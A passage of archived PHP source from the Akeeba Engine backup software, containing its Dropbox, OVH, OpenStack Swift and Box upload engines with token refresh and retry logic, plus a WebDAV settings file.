	 */
	protected function getSettings()
	{
		// Retrieve engine configuration data
		$config           = Factory::getConfiguration();
		$accessToken      = trim($config->get('engine.postproc.dropbox2.access_token', ''));
		$refreshToken     = trim($config->get('engine.postproc.dropbox2.refresh_token', ''));
		$this->chunked    = $config->get('engine.postproc.dropbox2.chunk_upload', true);
		$this->chunk_size = $config->get('engine.postproc.dropbox2.chunk_upload_size', 10) * 1024 * 1024;
		$defaultDirectory = $config->get('engine.postproc.dropbox2.directory', '');
		$this->directory  = $config->get('volatile.postproc.directory', $defaultDirectory);

		// Sanity checks
		$dlid = Platform::getInstance()->get_platform_configuration_option('update_dlid', '');

		if (empty($dlid))
		{
			throw new BadConfiguration('You must enter your Download ID in the application configuration before using the “Upload to Dropbox” feature.');
		}

		if (empty($accessToken) && empty($refreshToken))
		{
			throw new BadConfiguration('You have not linked Akeeba Backup with your Dropbox account');
		}

		if (!function_exists('curl_init'))
		{
			throw new BadConfiguration('cURL is not enabled, please enable it in order to post-process your archives');
		}

		/**
		 * Remove the trailing and leading slashes from the directory. Why? The directory must never have a trailing
		 * slash. The directory must have a leading slash UNLESS it's the root, in which case it needs to be normalized
		 * to an empty string. So we first remove leading & trailing slashes, then check if it's empty (root) or not.
		 *
		 * Then remove any leftover leading/trailing slash. They will produce an invalid path in Dropbox. However, if
		 * the directory is not empty we must prefix it with a leading slash.
		 */
		$this->directory = trim($this->directory, '/');
		$this->directory = trim($this->directory);
		$this->directory = empty($this->directory) ? '' : ('/' . $this->directory);
		$this->directory = ltrim(Factory::getFilesystemTools()->TranslateWinPath($this->directory), '/');
		$this->directory = Factory::getFilesystemTools()->replace_archive_name_variables($this->directory);
		$config->set('volatile.postproc.directory', $this->directory);

		return [
			'token'         => $accessToken,
			'refresh_token' => $refreshToken,
			'dlid'          => $dlid,
		];
	}

	protected function makeConnector()
	{
		// Do we have a cached root namespace ID?
		$configuration = Factory::getConfiguration();
		$namespaceId   = $configuration->get('volatile.engine.postproc.dropbox2.namespaceId', null);

		// Get and cache the root namespace ID.
		if (is_null($namespaceId))
		{
			$namespaceId = $this->getDropboxForBusinessRootNamespaceId();
			$configuration->set('volatile.engine.postproc.dropbox2.namespaceId', $namespaceId);
		}

		$config    = $this->getSettings();
		$connector = new ConnectorDropboxV2(
			$config['token'],
			$config['refresh_token'],
			$config['dlid'],
			Factory::getConfiguration()->get('engine.postproc.dropbox2.oauth2_refresh')
		);

		$connector->setNamespaceId($namespaceId);

		// Restore the persisted access-token expiry so the connector can refresh proactively (before the token lapses)
		// across stepped backup runs, instead of only reacting after a request has already failed.
		$connector->setTokenExpiration((int) Factory::getConfiguration()->get('engine.postproc.dropbox2.token_expiration', 0));

		return $connector;
	}

	/**
	 * Ping the connector (refreshing the access token if needed) and persist any refreshed tokens back to the profile
	 * configuration, so the next backup step starts from the fresh tokens and their known expiry instead of refreshing
	 * again from scratch.
	 *
	 * @param   ConnectorDropboxV2  $connector  The connector to ping.
	 *
	 * @return  void
	 */
	protected function pingAndPersist($connector)
	{
		$pingResult = $connector->ping();

		if (empty($pingResult['needs_refresh']) || !isset($pingResult['access_token']))
		{
			return;
		}

		$config = Factory::getConfiguration();
		$config->set('engine.postproc.dropbox2.access_token', $pingResult['access_token'], false);
		$config->set('engine.postproc.dropbox2.refresh_token', $pingResult['refresh_token'], false);
		$config->set('engine.postproc.dropbox2.token_expiration', $pingResult['token_expiration'] ?? 0, false);

		$profile_id = Platform::getInstance()->get_active_profile();
		Platform::getInstance()->save_configuration($profile_id);
	}

	/**
	 * Forcibly refresh the Dropbox tokens
	 *
	 * @param   ConnectorDropboxV2|null  $connector  The connector to use
	 *
	 * @return  void
	 *
	 * @throws Exception
	 */
	protected function forceRefreshTokens($connector = null)
	{
		// Retrieve engine configuration data
		$config = Factory::getConfiguration();

		/** @var ConnectorDropboxV2 $connector */
		if (empty($connector))
		{
			$connector = $this->getConnector();
		}

		$pingResult = $connector->ping(true);

		Factory::getLog()->debug(__METHOD__ . " - Dropbox tokens were forcibly refreshed");
		$config->set('engine.postproc.dropbox2.access_token', $pingResult['access_token'], false);
		$config->set('engine.postproc.dropbox2.refresh_token', $pingResult['refresh_token'], false);
		$config->set('engine.postproc.dropbox2.token_expiration', $pingResult['token_expiration'] ?? 0, false);

		$profile_id = Platform::getInstance()->get_active_profile();
		Platform::getInstance()->save_configuration($profile_id);
	}

	/**
	 * Returns the root namespace for the Dropbox for Business team space
	 *
	 * @see     https://www.dropbox.com/developers/reference/namespace-guide
	 *
	 * @param   bool  $refreshTokensOnFailure  Should I try to forcibly update the token on connection failure?
	 *
	 * @return  string
	 * @throws  Exception
	 */
	private function getDropboxForBusinessRootNamespaceId($refreshTokensOnFailure = true)
	{
		// Do I need to use a folder under a team space?
		$configuration = Factory::getConfiguration();
		$useTeam       = $configuration->get('engine.postproc.dropbox2.team', 0) == 1;

		// Team space is not in use. Default to the user's home (same as the legacy behavior)
		if (!$useTeam)
		{
			return '';
		}

		// Try to get the current account information
		try
		{
			$config         = $this->getSettings();
			$connector      = new ConnectorDropboxV2($config['token'], $config['refresh_token'], $config['dlid']);
			$currentAccount = $connector->getCurrentAccount();
		}
		catch (Exception $e)
		{
			if ($refreshTokensOnFailure)
			{
				$this->forceRefreshTokens($connector);

				return $this->getDropboxForBusinessRootNamespaceId(false);
			}

			throw new ErrorException("Cannot connect to Dropbox for Business", 0, $e);
		}

		if (
			!is_array($currentAccount)
			|| !array_key_exists('root_info', $currentAccount)
			|| !is_array($currentAccount['root_info'])
			|| !array_key_exists('root_namespace_id', $currentAccount['root_info'])
		)
		{
			throw new ErrorException("Dropbox for Business did not return any user account information");
		}

		return $currentAccount['root_info']['root_namespace_id'];
	}

	/**
	 * Handles the multipart upload of a file to Dropbox
	 *
	 * @param   Configuration  $config
	 * @param   string         $absolute_filename
	 * @param   string         $remotePath
	 * @param   int            $totalSize
	 *
	 * @return  bool
	 *
	 * @throws  Exception
	 */
	private function processPartChunked(Configuration $config, $absolute_filename, $remotePath, $totalSize)
	{
		/** @var ConnectorDropboxV2 $connector */
		$connector = $this->getConnector();

		// Are we already processing a multipart upload?
		Factory::getLog()->debug(sprintf(
			"%s - Using chunked upload, part size {$this->chunk_size}", __METHOD__
		));

		$offset    = $config->get('volatile.engine.postproc.dropbox2.offset', 0);
		$upload_id = $config->get('volatile.engine.postproc.dropbox2.upload_id', null);

		if (empty($upload_id))
		{
			Factory::getLog()->debug(sprintf(
				"%s - Creating new upload session", __METHOD__
			));

			try
			{
				$upload_id = $connector->createUploadSession();
			}
			catch (Exception $e)
			{
				// Fail immediately if there is no refresh token
				$config = $this->getSettings();
				if (empty($config['refresh_token']))
				{
					throw new RuntimeException("Cannot create upload session", 500, $e);
				}

				Factory::getLog()->debug(sprintf(
					"%s - Failed to create a new upload session; will try to refresh the tokens first",
					__METHOD__
				));

				$upload_id = null;
			}

			if (is_null($upload_id))
			{
				try
				{
					$this->forceRefreshTokens();

					$upload_id = $connector->createUploadSession();
				}
				catch (Exception $e)
				{
					throw new RuntimeException("Cannot create upload session", 500, $e);
				}
			}

			Factory::getLog()->debug(sprintf(
				"%s - New upload session $upload_id", __METHOD__
			));

			$config->set('volatile.engine.postproc.dropbox2.upload_id', $upload_id);
		}

		$exception = null;

		try
		{
			if (empty($offset))
			{
				$offset = 0;
			}

			Factory::getLog()->debug(sprintf("%s - Uploading chunked part", __METHOD__));

			$connector->uploadPart($upload_id, $absolute_filename, $offset, $this->chunk_size);

			$result = true;
		}
		catch (Exception $e)
		{
			Factory::getLog()->debug(sprintf(
					"%s - Got uploadPart Exception %s: %s",
					__METHOD__, 500, $e->getMessage())
			);

			$exception = $e;

			$result = false;
		}

		// Did we fail uploading?
		if ($result === false)
		{
			// Let's retry
			$this->tryCount++;

			// However, if we've already retried twice, we stop retrying and call it a failure
			if ($this->tryCount > 2)
			{
				throw new RuntimeException(sprintf(
					"%s - Maximum number of retries exceeded. The upload has failed.",
					__METHOD__
				), 500, $exception);
			}

			// Retry to refresh the Access Token if a Refresh Token is provided.
			$config = $this->getSettings();

			if (!empty($config['refresh_token']))
			{
				Factory::getLog()->debug(sprintf(
					"%s - Error detected, trying to force-refresh the tokens",
					__METHOD__
				));

				$this->forceRefreshTokens();
			}

			Factory::getLog()->debug(sprintf("%s - Retrying chunk upload", __METHOD__));

			return false;
		}

		// Are we done uploading?
		$nextOffset = $offset + $this->chunk_size - 1;

		if (isset($result['name']) || ($nextOffset > $totalSize))
		{
			Factory::getLog()->debug(sprintf(
				"%s - Finializing chunked upload, saving uploaded file as %s",
				__METHOD__, $remotePath
			));

			try
			{
				$connector->finishUploadSession($upload_id, $remotePath, $totalSize);
			}
			catch (Exception $e)
			{
				throw new RuntimeException('Chunk upload finalization failed', 500, $e);
			}

			Factory::getLog()->debug(sprintf(
				"%s - Chunked upload is now complete",
				__METHOD__
			));

			$config->set('volatile.engine.postproc.dropbox2.offset', null);
			$config->set('volatile.engine.postproc.dropbox2.upload_id', null);

			return true;
		}

		// Otherwise, continue uploading
		$config->set('volatile.engine.postproc.dropbox2.offset', $offset + $this->chunk_size);

		return false;
	}

	/**
	 * Handles the single part upload of a file to Dropbox
	 *
	 * @param   string  $absolute_filename
	 * @param   string  $remotePath
	 *
	 * @return  bool
	 *
	 * @throws  Exception
	 */
	private function processPartSingleUpload($absolute_filename, $remotePath)
	{
		/** @var ConnectorDropboxV2 $connector */
		$connector = $this->getConnector();
		$exception = null;

		try
		{
			Factory::getLog()->debug(sprintf(
				"%s - Performing simplified upload of %s to %s",
				__METHOD__, $absolute_filename, $remotePath
			));

			$result = $connector->upload($remotePath, $absolute_filename);
		}
		catch (Exception $e)
		{
			Factory::getLog()->debug(sprintf(
				"%s - Simplified upload failed, %s: %s",
				__METHOD__, $e->getCode(), $e->getMessage()
			));

			$exception = $e;
			$result    = false;
		}

		if ($result === false)
		{
			// Let's retry
			$this->tryCount++;

			// However, if we've already retried twice, we stop retrying and call it a failure
			if ($this->tryCount > 2)
			{
				throw new RuntimeException(sprintf(
					"%s - Maximum number of retries exceeded. The upload has failed.",
					__METHOD__
				), 500, $exception);
			}

			// Retry to refresh the Access Token if a Refresh Token is provided.
			$config = $this->getSettings();

			if (!empty($config['refresh_token']))
			{
				Factory::getLog()->debug(sprintf(
					"%s - Error detected, trying to force-refresh the tokens",
					__METHOD__
				));

				$this->forceRefreshTokens();
			}

			Factory::getLog()->debug(sprintf("%s - Retrying upload", __METHOD__));

			return false;
		}

		// Upload complete. Reset the retry counter.
		$this->tryCount = 0;

		return true;
	}

}
PK     \bV  V  ,  vendor/akeeba/engine/engine/Postproc/Ovh.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Postproc\Connector\Ovh as OvhConnector;
use Akeeba\Engine\Postproc\Exception\BadConfiguration;
use Exception;

/**
 * A post processing engine used to upload files to OVH object storage
 */
class Ovh extends Base
{
	/**
	 * Public constructor. Initialises the advertised properties of this processing engine
	 */
	public function __construct()
	{
		$this->supportsDelete            = true;
		$this->supportsDownloadToFile    = true;
		$this->supportsDownloadToBrowser = false;
	}

	public function processPart($localFilepath, $remoteBaseName = null)
	{
		/** @var OvhConnector $connector */
		$connector = $this->getConnector();
		$settings  = $this->getSettings();

		// Calculate relative remote filename
		$filename  = empty($remoteBaseName) ? basename($localFilepath) : $remoteBaseName;
		$directory = $settings['directory'];

		if (!empty($directory) && ($directory != '/'))
		{
			$filename = $directory . '/' . $filename;
		}

		// Store the absolute remote path in the class property
		$this->remotePath = $filename;

		// Upload the file
		Factory::getLog()->debug(sprintf("Uploading %s", basename($localFilepath)));

		$input = [
			'file' => $localFilepath,
		];

		$connector->putObject($input, $filename, 'application/octet-stream');

		return true;
	}

	public function delete($path)
	{
		/** @var OvhConnector $connector */
		$connector = $this->getConnector();
		$connector->deleteObject($path);
	}

	public function downloadToFile($remotePath, $localFile, $fromOffset = null, $length = null)
	{
		/** @var OvhConnector $connector */
		$connector = $this->getConnector();

		// Do we need to set a range header?
		$headers = [];

		if (!is_null($fromOffset) && is_null($length))
		{
			$headers['Range'] = 'bytes=' . $fromOffset;
		}
		elseif (!is_null($fromOffset) && !is_null($length))
		{
			$headers['Range'] = 'bytes=' . $fromOffset . '-' . ($fromOffset + $length - 1);
		}
		elseif (!is_null($length))
		{
			$headers['Range'] = 'bytes=0-' . ($fromOffset + $length);
		}

		if (!empty($headers))
		{
			Factory::getLog()->debug(sprintf("Sending Range header «%s»", $headers['Range']));
		}

		$fp = @fopen($localFile, 'w');

		if ($fp === false)
		{
			throw new Exception(sprintf("Can't open %s for writing", $localFile));
		}

		Factory::getLog()->debug(sprintf("Downloading %s", $remotePath));

		try
		{
			$connector->downloadObject($remotePath, $fp, $headers);
		}
		finally
		{
			$this->conditionalFileClose($fp);
		}
	}

	/**
	 * Returns the post-processing engine settings in array format. If something is amiss it returns boolean false.
	 *
	 * @return  array
	 *
	 * @throws  Exception
	 */
	protected function getSettings()
	{
		// Retrieve engine configuration data
		$config = Factory::getConfiguration();

		$projectid    = trim($config->get('engine.postproc.ovh.projectid', ''));
		$username     = trim($config->get('engine.postproc.ovh.username', ''));
		$password     = trim($config->get('engine.postproc.ovh.password', ''));
		$containerurl = $config->get('engine.postproc.ovh.containerurl', 0);
		$directory    = $config->get('volatile.postproc.directory', null);

		if (empty($directory))
		{
			$directory = $config->get('engine.postproc.ovh.directory', 0);
		}

		// Sanity checks
		if (empty($projectid))
		{
			throw new BadConfiguration('You have not set up your OVH Project ID');
		}

		if (empty($username))
		{
			throw new BadConfiguration('You have not set up your OVH OpenStack Username');
		}

		if (empty($password))
		{
			throw new BadConfiguration('You have not set up your OVH OpenStack Password');
		}

		if (empty($containerurl))
		{
			throw new BadConfiguration('You have not set up your Container URL');
		}

		if (!function_exists('curl_init'))
		{
			throw new BadConfiguration('cURL is not enabled, please enable it in order to post-process your archives');
		}

		// Fix the directory name, if required
		$directory = empty($directory) ? '' : $directory;
		$directory = trim($directory);
		$directory = ltrim(Factory::getFilesystemTools()->TranslateWinPath($directory), '/');
		$directory = Factory::getFilesystemTools()->replace_archive_name_variables($directory);
		$config->set('volatile.postproc.directory', $directory);

		return [
			'projectid'    => $projectid,
			'username'     => $username,
			'password'     => $password,
			'containerurl' => $containerurl,
			'directory'    => $directory,
		];
	}

	protected function makeConnector()
	{
		$settings = $this->getSettings();

		// Create the API connector object
		$connector = new OvhConnector($settings['projectid'], $settings['username'], $settings['password']);
		$connector->setStorageEndpoint($settings['containerurl']);

		Factory::getLog()->debug('Authenticating to OVH');

		// Authenticate
		$connector->getToken();

		return $connector;
	}
}
PK     \[    0  vendor/akeeba/engine/engine/Postproc/webdav.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_WEBDAV_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_WEBDAV_DESCRIPTION"
    },
    "engine.postproc.common.after_part": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION"
    },
    "engine.postproc.common.abort_on_fail": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION"
    },
    "engine.postproc.common.delete_after": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DELETEAFTER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION"
    },
    "engine.postproc.webdav.username": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_WEBDAV_USERNAME_TITLE",
        "description": "COM_AKEEBA_CONFIG_WEBDAV_USERNAME_DESCRIPTION"
    },
    "engine.postproc.webdav.password": {
        "default": "",
        "type": "password",
        "title": "COM_AKEEBA_CONFIG_WEBDAV_PASSWORD_TITLE",
        "description": "COM_AKEEBA_CONFIG_WEBDAV_PASSWORD_DESCRIPTION"
    },
    "engine.postproc.webdav.url": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_WEBDAV_URL_TITLE",
        "description": "COM_AKEEBA_CONFIG_WEBDAV_URL_DESCRIPTION"
    },
    "engine.postproc.webdav.directory": {
        "default": "\/",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_WEBDAV_DIRECTORY_TITLE",
        "description": "COM_AKEEBA_CONFIG_WEBDAV_DIRECTORY_DESCRIPTION"
    }
}PK     \|<    .  vendor/akeeba/engine/engine/Postproc/Swift.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Postproc\Connector\Swift as SwiftConnector;
use Akeeba\Engine\Postproc\Exception\BadConfiguration;
use RuntimeException;

/**
 * A post processing engine used to upload files to OpenStack Swift object storage
 */
class Swift extends Base
{
	public function __construct()
	{
		$this->supportsDelete            = true;
		$this->supportsDownloadToFile    = true;
		$this->supportsDownloadToBrowser = false;
	}

	public function processPart($localFilepath, $remoteBaseName = null)
	{
		/** @var SwiftConnector $connector */
		$connector = $this->getConnector();
		$settings  = $this->getSettings();

		// Calculate relative remote filename
		$filename  = empty($remoteBaseName) ? basename($localFilepath) : $remoteBaseName;
		$directory = $settings['directory'];

		if (!empty($directory) && ($directory != '/'))
		{
			$filename = $directory . '/' . $filename;
		}

		// Store the absolute remote path in the class property
		$this->remotePath = $filename;

		// Upload the file
		Factory::getLog()->debug(sprintf("Uploading %s", basename($localFilepath)));
		$input = [
			'file' => $localFilepath,
		];
		$connector->putObject($input, $filename, 'application/octet-stream');

		return true;
	}

	public function delete($path)
	{
		/** @var SwiftConnector $connector */
		$connector = $this->getConnector();

		// Delete the file
		$connector->deleteObject($path);
	}

	public function downloadToFile($remotePath, $localFile, $fromOffset = null, $length = null)
	{
		/** @var SwiftConnector $connector */
		$connector = $this->getConnector();

		// Do we need to set a range header?
		$headers = [];

		if (!is_null($fromOffset) && is_null($length))
		{
			$headers['Range'] = 'bytes=' . $fromOffset;
		}
		elseif (!is_null($fromOffset) && !is_null($length))
		{
			$headers['Range'] = 'bytes=' . $fromOffset . '-' . ($fromOffset + $length - 1);
		}
		elseif (!is_null($length))
		{
			$headers['Range'] = 'bytes=0-' . ($fromOffset + $length);
		}

		if (!empty($headers))
		{
			Factory::getLog()->debug(sprintf("Sending Range header «%s»", $headers['Range']));
		}

		$fp = @fopen($localFile, 'w');

		if ($fp === false)
		{
			throw new RuntimeException(sprintf("Can't open %s for writing", $localFile));
		}

		try
		{
			$connector->downloadObject($remotePath, $fp, $headers);
		}
		finally
		{
			$this->conditionalFileClose($fp);
		}
	}

	/**
	 * Returns the post-processing engine settings in array format. If something is amiss it returns boolean false.
	 *
	 * @return array
	 */
	protected function getSettings()
	{
		// Retrieve engine configuration data
		$config = Factory::getConfiguration();

		$version      = trim($config->get('engine.postproc.swift.keystone_version', 'v2'));
		$authurl      = trim($config->get('engine.postproc.swift.authurl', ''));
		$tenantid     = trim($config->get('engine.postproc.swift.tenantid', ''));
		$domain       = trim($config->get('engine.postproc.swift.domain', 'default'));
		$username     = trim($config->get('engine.postproc.swift.username', ''));
		$password     = trim($config->get('engine.postproc.swift.password', ''));
		$containerurl = $config->get('engine.postproc.swift.containerurl', 0);
		$directory    = $config->get('volatile.postproc.directory', null);

		if (empty($directory))
		{
			$directory = $config->get('engine.postproc.swift.directory', 0);
		}

		// Sanity checks
		if (empty($authurl))
		{
			throw new BadConfiguration('You have not set up your Authentication URL');
		}

		if (empty($tenantid))
		{
			throw new BadConfiguration('You have not set up your Tenant ID');
		}

		if (empty($username))
		{
			throw new BadConfiguration('You have not set up your OpenStack Username');
		}

		if (empty($password))
		{
			throw new BadConfiguration('You have not set up your OpenStack Password');
		}

		if (empty($containerurl))
		{
			throw new BadConfiguration('You have not set up your Container URL');
		}

		if (!function_exists('curl_init'))
		{
			throw new BadConfiguration('cURL is not enabled, please enable it in order to post-process your archives');
		}

		// Fix the directory name, if required
		$directory = empty($directory) ? '' : $directory;
		$directory = trim($directory);
		$directory = ltrim(Factory::getFilesystemTools()->TranslateWinPath($directory), '/');
		$directory = Factory::getFilesystemTools()->replace_archive_name_variables($directory);
		$config->set('volatile.postproc.directory', $directory);

		return [
			'version'      => $version,
			'authurl'      => $authurl,
			'tenantid'     => $tenantid,
			'domain'       => $domain,
			'username'     => $username,
			'password'     => $password,
			'containerurl' => $containerurl,
			'directory'    => $directory,
		];
	}

	protected function makeConnector()
	{
		$settings = $this->getSettings();

		// Create the API connector object
		$connector = new SwiftConnector($settings['version'], $settings['authurl'], $settings['tenantid'], $settings['username'], $settings['password'], $settings['domain']);
		$connector->setStorageEndpoint($settings['containerurl']);

		// Authenticate
		Factory::getLog()->debug('Authenticating to OpenStack Swift');
		$connector->getToken();

		return $connector;
	}
}
PK     \0"  0"  ,  vendor/akeeba/engine/engine/Postproc/Box.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Postproc\Connector\Box as ConnectorBox;
use Akeeba\Engine\Postproc\Exception\BadConfiguration;
use Akeeba\Engine\Postproc\Exception\RangeDownloadNotSupported;
use Exception;
use RuntimeException;

class Box extends Base
{
	/**
	 * The retry count of this file (allow up to 2 retries after the first upload failure)
	 *
	 * @var int
	 */
	protected $tryCount = 0;

	/**
	 * The currently configured directory
	 *
	 * @var string
	 */
	protected $directory;

	/**
	 * The name of the OAuth2 callback method in the parent window (the configuration page)
	 *
	 * @var   string
	 */
	protected $callbackMethod = 'akconfig_box_oauth_callback';

	/**
	 * The key in Akeeba Engine's settings registry for this post-processing method
	 *
	 * @var   string
	 */
	protected $settingsKey = 'box';

	public function __construct()
	{
		$this->supportsDownloadToBrowser = false;
		$this->supportsDelete            = true;
		$this->supportsDownloadToFile    = true;
	}

	public function oauthCallback(array $params)
	{
		$input          = $params['input'];
		$data           = [
			'access_token'  => $input['access_token'],
			'refresh_token' => $input['refresh_token'],
		];
		$serialisedData = json_encode($data);

		return <<< HTML
<script type="application/javascript">
	window.opener.{$this->callbackMethod}($serialisedData);
</script>
HTML;
	}

	public function processPart($localFilepath, $remoteBaseName = null)
	{
		/** @var ConnectorBox $connector */
		$connector = $this->getConnector();
		$connector->ping();

		// Store the absolute remote path in the property
		$directory        = $this->directory;
		$basename         = empty($remoteBaseName) ? basename($localFilepath) : $remoteBaseName;
		$this->remotePath = $directory . '/' . $basename;

		// Get the remote file's pathname
		$remotePath = trim($directory, '/') . '/' . $basename;

		// Single part upload
		$exception = null;

		// Try deleting the file first because Box doesn't allow replacing files
		Factory::getLog()->debug(sprintf("%s - Simple upload. Proactively deleting files with remote path $remotePath", __METHOD__));

		$connector->deleteFileByName($remotePath);

		try
		{
			// Try to upload the file (single part upload)
			Factory::getLog()->debug(sprintf("%s - Performing simple upload", __METHOD__));

			$connector->uploadSingleFile($remotePath, $localFilepath);
		}
		catch (Exception $e)
		{
			// Upload failed. Let's log the failure first.
			Factory::getLog()->debug(sprintf("%s - Simple upload failed, %s: %s", __METHOD__, 500, $e->getMessage()));

			// Increase the try counter
			$this->tryCount++;

			// If I exceeded my retry count I will throw am exception (hard failure)
			if ($this->tryCount > 2)
			{
				Factory::getLog()->debug(sprintf("%s - Maximum number of retries exceeded. The upload has failed.", __METHOD__));

				throw new RuntimeException('Uploading to Box failed.', 500, $e);
			}

			// I need to retry.
			Factory::getLog()->debug(__METHOD__ . " - Error detected, trying to force-refresh the tokens");

			$this->forceRefreshTokens();

			Factory::getLog()->debug(__METHOD__ . " - The upload will be retried");

			return false;
		}

		$this->tryCount = 0;

		return true;
	}

	public function downloadToFile($remotePath, $localFile, $fromOffset = null, $length = null)
	{
		if (!is_null($fromOffset))
		{
			// Ranges are not supported
			throw new RangeDownloadNotSupported();
		}

		/** @var ConnectorBox $connector */
		$connector = $this->getConnector();
		$connector->ping();
		$connector->download($remotePath, $localFile);
	}

	public function delete($path)
	{
		/** @var ConnectorBox $connector */
		$connector = $this->getConnector();
		$connector->ping();
		$connector->deleteFileByName($path);
	}

	protected function getOAuth2HelperUrl()
	{
		$config           = Factory::getConfiguration();
		$oauth2HelperType = $config->get('engine.postproc.box.oauth2_type', 'akeeba');

		switch ($oauth2HelperType)
		{
			case 'custom':
				return $config->get('engine.postproc.box.oauth2_helper', '');

			default:
				return ConnectorBox::helperUrl;
		}
	}

	protected function makeConnector()
	{
		// Retrieve engine configuration data
		$config = Factory::getConfiguration();

		$access_token  = trim($config->get('engine.postproc.' . $this->settingsKey . '.access_token', ''));
		$refresh_token = trim($config->get('engine.postproc.' . $this->settingsKey . '.refresh_token', ''));

		$this->directory = $config->get('volatile.postproc.directory', null);

		if (empty($this->directory))
		{
			$this->directory = $config->get('engine.postproc.' . $this->settingsKey . '.directory', '');
		}

		// Sanity checks
		if (empty($refresh_token))
		{
			throw new BadConfiguration('You have not linked Akeeba Backup with your Box account');
		}

		if (!function_exists('curl_init'))
		{
			throw new BadConfiguration('cURL is not enabled, please enable it in order to post-process your archives');
		}

		// Fix the directory name, if required
		$this->directory = empty($this->directory) ? '' : $this->directory;
		$this->directory = trim($this->directory);
		$this->directory = ltrim(Factory::getFilesystemTools()->TranslateWinPath($this->directory), '/');
		$this->directory = Factory::getFilesystemTools()->replace_archive_name_variables($this->directory);
		$config->set('volatile.postproc.directory', $this->directory);

		// Get Download ID
		$dlid = Platform::getInstance()->get_platform_configuration_option('update_dlid', '');

		if (empty($dlid))
		{
			throw new BadConfiguration('You must enter your Download ID in the application configuration before using the “Upload to Box.com” feature.');
		}

		$connector = new ConnectorBox(
			$access_token,
			$refresh_token,
			$dlid,
			$config->get('engine.postproc.box.oauth2_refresh')
		);

		// Restore the persisted access-token expiry so the connector can refresh proactively (before the token lapses)
		// across stepped backup runs, instead of only reacting after a request has already failed.
		$connector->setTokenExpiration((int) $config->get('engine.postproc.' . $this->settingsKey . '.token_expiration', 0));

		// Validate the tokens
		Factory::getLog()->debug(sprintf("%s - Validating the Box tokens", __METHOD__));
		$pingResult = $connector->ping();

		// Save new configuration if there was a refresh
		if ($pingResult['needs_refresh'])
		{
			Factory::getLog()->debug(sprintf("%s - Box tokens were refreshed", __METHOD__));

			$config->set('engine.postproc.' . $this->settingsKey . '.access_token', $pingResult['access_token'], false);
			$config->set('engine.postproc.' . $this->settingsKey . '.refresh_token', $pingResult['refresh_token'], false);
			$config->set('engine.postproc.' . $this->settingsKey . '.token_expiration', $pingResult['token_expiration'] ?? 0, false);

			$profile_id = Platform::getInstance()->get_active_profile();

			Platform::getInstance()->save_configuration($profile_id);
		}

		return $connector;
	}

	/**
	 * Forcibly refresh the Box tokens
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 */
	protected function forceRefreshTokens()
	{
		/** @var ConnectorBox $connector */
		$connector  = $this->getConnector();
		$config     = Factory::getConfiguration();
		$pingResult = $connector->ping(true);

		Factory::getLog()->debug(sprintf("%s - Box tokens were forcibly refreshed", __METHOD__));

		$config->set('engine.postproc.' . $this->settingsKey . '.access_token', $pingResult['access_token'], false);
		$config->set('engine.postproc.' . $this->settingsKey . '.refresh_token', $pingResult['refresh_token'], false);
		$config->set('engine.postproc.' . $this->settingsKey . '.token_expiration', $pingResult['token_expiration'] ?? 0, false);

		$profile_id = Platform::getInstance()->get_active_profile();

		Platform::getInstance()->save_configuration($profile_id);
	}
}
PK     \z^  ^  2  vendor/akeeba/engine/engine/Postproc/sftpcurl.jsonnu [        {
    "_information": {
